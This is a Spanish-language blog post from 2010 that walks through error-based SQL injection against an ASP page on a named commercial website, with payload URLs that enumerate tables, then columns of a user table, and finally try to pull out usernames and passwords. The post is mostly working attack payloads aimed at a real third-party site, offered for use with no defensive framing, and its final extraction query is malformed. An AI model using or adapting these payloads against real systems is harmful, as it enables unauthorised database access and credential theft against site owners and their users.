diumenge, 26 de setembre del 2010

Injection en ASP (Sacar Base de Datos)

Que es?
Lan inyeccion de ASP es un error como el de SQL Injection. Un error comun que se dejan en lineas de SQL Server de Microsoft


1- Saber si es vulnerable

Para saber si la web es vulnerable vamos a escribir ' al final.
Quedaria asi:
www.confort-electro.com/ofertas_resultado.asp?provincia=43890'

Entonces deveria salirnos esto:
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER BY NombreCatalogo'.
Recuerda que donde dice ' ORDER BY NombreCatalogo' Puede decir cualquier otra cosa, esa tabla es la primera que ahi en esa web.

2- Sacar columnas

Para sacar columnas usaremos este codigo:
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(' NOMBRE DE LA COLUMNA ')))

No quiteis los ' que ahi en al final, entonces nos quedaria asi:
www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('NombreCatalogo')))

Una vez tenemos eso nos tiro otra tabla llamada: DocTipoCuna
Parece interesante, pero vamos a ver si ahi algun mejor, Como? Pues para pasar de tablas demos poner
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(' NOMBRE DE LA COLUMNA ',' NOMBRE DE LA 2 COLUMNA ')))

Quedaria asi en la web:
http://www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('NombreCatalogo','Doctipocuna')))

3- Ver tablas de la columna
Bien pues buscando un ratito e encontrado una tabla llamada NPUser
Quedaria asi: http://www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('DOCPComprados','DOCElementoMenu','DOCEnvioGuias','DOCHome','NPFieldType','PRODUCTO_IDIOMA','DOCManual','DOCGuia','DOCPrensa','Doctipocuna','foofoofoo','NPFragment')))

Ahora para ver que tablas ahi dentro de NPUser vamos a poner lo siguiente:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser'))

Que quedaria asi en la web:
http://www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser'))

Una vez eso me salto la tabla "ID", No me interesa la verdad, asi que la vamos a pasarla.
Para pasar la tabla usaremos este codigo:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser' and column_name not in('ID')))

que en la web quedaria asi:
www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser' and column_name not in('ID')))

Me salto la tabla UserName, Mm importante parece, aver pasemos de columna, con el mismo codigo añadiendo ',' despues de ID como hicimos para sacar las tablas
Aqui os dejo el codigo:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser' and column_name not in('ID','UserName')))

En la web quedaria:
www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='NPUser' and column_name not in('ID','UserName')))

Me salto la tabla Password creo que es importante no? vamos a verla.

4- Ver el contenido de las Columnas

Para ver el contenido de Password vamos a poner

and 1=convert(int,(select top COLUMNA from TABLA))

En la web quedaria: www.confort-electro.com/ofertas_resultado.asp?provincia=43890 and 1=convert(int,(select top Password from NPUser))

Y nada os digo que no os va a sacar la tabla Password ni la de Username porque no tiene base de datos xD

Este tutorial se lo dedico a Rokmann porque gracias a el entendi la sentencia de la inyeccion jaja porque si lo traducis quedaria asi:
and 1=convert(int,(SELECIONAR LA "COLUMNA" DE "TABLA"))

Nada si no os enterais tampoco pasa nada xD estoy loco


Editado por 3rr0r

Cap comentari:

Publica un comentari a l'entrada